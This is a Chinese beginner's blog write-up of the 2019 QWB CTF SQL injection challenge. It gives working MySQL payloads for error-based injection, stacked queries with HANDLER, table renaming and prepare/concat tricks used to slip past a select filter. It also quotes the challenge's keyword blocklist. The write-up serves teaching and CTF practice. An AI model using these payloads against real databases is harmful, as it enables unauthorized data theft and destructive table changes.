[强网杯2019]随便注(初学者看过来)

这是一道web方向的sql注入的题目,通过借鉴各位大佬的博客,我给大家分享我学到的几种方法。

查询 “1” 的时候,会有回显

 使用单引号闭合,尝试 “1' and 1 = 2#” (#会将后面的语句注释掉)  , 发现无回显

 仅使用单引号注入发现会报sql语法错误,但是发现有回显信息,这样我们就可以使用注入了

 第一种:extractvalue(报错注入)

在这里跟大家分享一下,报错注入的话有两种方法,一个是updatexml,另一个是extractvalue

注入的语法分别是  “updatexml(1, concat(0x7e,database(),0x7e),1)”     和   “extractvalue(1,concat(0x7e,database())”      (0x7e可以在mysql里被解读为符号"~",也可以直接用"~")

(我只是举个例子,具体的诸如内容要根据实际情况判定,也可以在另外学习其用法mysql对xml提供支持的两个函数extractvalue updatexml_我多么希望明天有太阳,来灼烧我腐烂的梦想-CSDN博客https://blog.csdn.net/airuozhaoyang/article/details/47036923

当我们直接尝试“ 1' and updatexml() ”时,会显示我们不能使用("/select|update|delete|drop|insert|where|\./i",$inject)这些语句来查询(为防止遗忘,我们可以讲这些记录在某个文档里)

于是我就采用了extractvalue

1' and extractvalue(1,concat(0x7e,database()))#

得到了数据库的名字“supersqli

 “select被过滤了,如何绕过呢?”

        handler语法:让我们一行一行浏览一个表的数据(mysql的专用语句,其他sql语言无)            可以在下面这个链接里学一下mysql查询语句-handler_jesseyoung-CSDN博客https://blog.csdn.net/JesseYoung/article/details/40785137例:

handler users open as hd;#载入指定的数据表“users”并返回句柄“hd”
handler hd read first;#读取数据表首行
handler hd read next;#读取下一行
handler hd close;#关闭句柄

这样的话,我们就能进行下一步的题,这里我用的是“ show tables ”显示数据库里面数据表的名字。如果直接使用

1'; use supersqli;show tables;#

查询,查询之后我们会得到如下结果,两个table

接下来我们要做的是什么呢?就是查看这些表里面的字段,于是我就尝试了

1';show columns from `1919810931114514` ;#

注意这里使用sql语句查询数据表时,要使用返单引号“ ` ”。这里我们就很高兴啊,得到了一个名字为“flag”的column;

 于是我直接用刚才提到的handler语句

1';use supersqli;handler `1919810931114514` open;handler `1919810931114514` read first;#

 直接得出我们的flag

 第二种:rename 字段

第一种方法我们主要是用handler绕过了select的过滤。

跟刚才一样,我们还有一个数据表的名字叫“words”;于是

1';show columns from `words`;#

萌生一种大胆的想法,后端执行的语句为

select * from words where id = '$id';

 我们就可以把表“words”改名为其他的,而将“1919810931114514”改名为“words”,这样就能让那个后台直接从表“1919810931114514”里查询;于是乎

1';
rename table `words` to `words1`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;#

成功rename之后,我便可以直接只用单引号闭合的方法直接查取到flag

1' or 1=1#

 

第三种方法:mysql的预处理与字符串拼接

先了解一下知识MySQL的SQL预处理(Prepared) - GeaoZhang - 博客园icon-default.png?t=LA92https://www.cnblogs.com/geaozhang/p/9891338.html还是前面的我们已经知道数据表“1919810931114514”里已经有了flag字段,为了绕过select我选择这样注入

1';prepare s from concat('s','elect','*from `1919810931114514`');
execute s;#

就能得到flag

其实还有第四种方法可以绕过select;就是“table”语句,直接table + 表名MySQL8.0 新增 DML 语句(TABLE & VALUES) - 技术分享 - 新闻资讯 - 爱可生icon-default.png?t=LA92https://www.actionsky.com/2777.html但是在这道题里好像用不了,要求是MySQL8.0以上的版本。

以上就是给大家分享的全部内容了,主要是师从于大佬Y1ng,如果有什么问题希望可以与大家一起讨论,一起进步!!

颖奇L'Amore – WEB SECURITYicon-default.png?t=LA92https://www.gem-love.com/

 

 

  • 9
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值